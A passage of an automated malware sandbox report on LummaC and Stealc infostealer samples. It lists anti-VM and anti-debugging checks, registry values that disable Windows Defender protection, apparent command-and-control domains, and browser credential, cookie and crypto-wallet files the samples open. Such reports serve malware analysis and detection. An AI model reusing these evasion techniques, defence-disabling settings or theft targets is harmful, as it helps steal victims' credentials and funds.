Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Code function: 3_2_0049E803 rdtsc

3_2_0049E803

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Code function: 3_2_004B425C sidt fword ptr [esp-02h]

3_2_004B425C

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe TID: 6156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe TID: 4480	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe TID: 2452	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe TID: 5296	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: ARULVP7S24STX85EO46I8EXOL.exe, ARULVP7S24STX85EO46I8EXOL.exe, 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmp, VVRXVZ2T118YVIGZN2.exe, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2491066988.00000000011B6000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.0000000005603000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000000.2442635821.00000000011B6000.00000080.00000001.01000000.00000009.sdmp, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2492835932.000000000123F000.00000040.00000001.01000000.00000009.sdmp, VVRXVZ2T118YVIGZN2.exe.0.dr	Binary or memory string: $hgfSf
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167960813.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.0000000000643000.00000004.00000020.00020000.00000000.sdmp, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.0000000000673000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\&0
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sTJPD0pwbxzk2t8b4aJIHlurFoiwBM76i/2ebAZskUK4extDBjcvEPaeh1zDoF0ad6UAi/4chO/C95QsWSiTVbV5EUdGa2oZ5d/VGu2qRx9YpxGEsgPN8ZDinWoTYtQe/XUPDx45WQf5z8le2aRFF1+wUZ3wGorxjrDALApomFe1dBNHSXZmBe/S0Q7rp0IXV6oYj7kOwfyP9J9tQSbUV6UyTw9waWIbwNXTFay4BQAYoR3C5kPO+or6l2ULYptZvXoeRkV5YxHv0tMR6aROFF2mHYW5Aoq4wveALFkopF2xeRsNc3phGenInwOivgseVOZJwrECx/yJ/pRtAWyXWr19EklOcG8F6dHeHeesRhddpxSF/k2K8ZqwwCwsQa4QojwOD0F1L0+u2tUc4a1AFluhH4KzCdj+gvCWagBkkVGxcQVDQHRpH/yekVzrvwtBGIYajr0Py/HA0ZJvCmTWZb58GUhQOXBZ957YEKz/Cx1cqhGFsAfM+4X7lWYGZJ1Y
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.0000000005603000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: ARULVP7S24STX85EO46I8EXOL.exe, 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmp, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2491066988.00000000011B6000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 20yLTIU4mS.exe, 00000000.00000003.2190573654.00000000055FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Code function: 3_2_0049E142 Start: 0049E199 End: 0049E193

3_2_0049E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Code function: 3_2_0049E803 rdtsc

3_2_0049E803

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Code function: 3_2_004B3D4C LdrInitializeThunk,

3_2_004B3D4C

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: VVRXVZ2T118YVIGZN2.exe PID: 6020, type: MEMORYSTR

LummaC encrypted strings found

Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 20yLTIU4mS.exe, 00000000.00000003.2080733137.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2491664177.00000000011FC000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: 8Program Manager
Source: ARULVP7S24STX85EO46I8EXOL.exe, 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 20yLTIU4mS.exe, 00000000.00000003.2270262623.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\20yLTIU4mS.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 20yLTIU4mS.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2490759990.0000000000DE1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449354985.0000000004870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VVRXVZ2T118YVIGZN2.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 20yLTIU4mS.exe	String found in binary or memory: Wallets/Electrum
Source: 20yLTIU4mS.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 20yLTIU4mS.exe	String found in binary or memory: Jaxx Liberty
Source: 20yLTIU4mS.exe	String found in binary or memory: window-state.json
Source: 20yLTIU4mS.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 20yLTIU4mS.exe	String found in binary or memory: Wallets/Exodus
Source: 20yLTIU4mS.exe	String found in binary or memory: %appdata%\Ethereum
Source: 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 20yLTIU4mS.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
